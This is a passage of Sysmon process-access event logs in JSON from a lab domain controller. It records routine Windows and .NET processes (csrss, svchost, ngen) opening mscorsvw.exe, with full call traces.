gen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:44","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6981,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:43.354\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42A7-5F2D-0000-0010EA570B00}\r\nTargetProcessId: 4532\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:43.354","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42A7-5F2D-0000-0010EA570B00}","TargetProcessId":"4532","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:01:44","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6982,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:43.370\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42A7-5F2D-0000-0010EA570B00}\r\nTargetProcessId: 4532\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:43.370","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42A7-5F2D-0000-0010EA570B00}","TargetProcessId":"4532","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:44","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6983,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:43.448\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42A7-5F2D-0000-0010925B0B00}\r\nTargetProcessId: 4644\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:43.448","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42A7-5F2D-0000-0010925B0B00}","TargetProcessId":"4644","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:44","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6984,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:43.448\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42A7-5F2D-0000-0010925B0B00}\r\nTargetProcessId: 4644\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:43.448","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42A7-5F2D-0000-0010925B0B00}","TargetProcessId":"4644","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:01:44","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6985,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:43.463\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42A7-5F2D-0000-0010925B0B00}\r\nTargetProcessId: 4644\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:43.463","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42A7-5F2D-0000-0010925B0B00}","TargetProcessId":"4644","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:44","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6986,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:43.636\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-4294-5F2D-0000-001011780A00}\r\nTargetProcessId: 4624\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:43.636","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-4294-5F2D-0000-001011780A00}","TargetProcessId":"4624","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:44","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6987,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:43.636\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4294-5F2D-0000-001011780A00}\r\nTargetProcessId: 4624\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:43.636","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4294-5F2D-0000-001011780A00}","TargetProcessId":"4624","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:01:44","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6988,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:43.666\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42A7-5F2D-0000-001007600B00}\r\nTargetProcessId: 4624\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:43.666","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42A7-5F2D-0000-001007600B00}","TargetProcessId":"4624","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:44","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6989,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:43.729\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 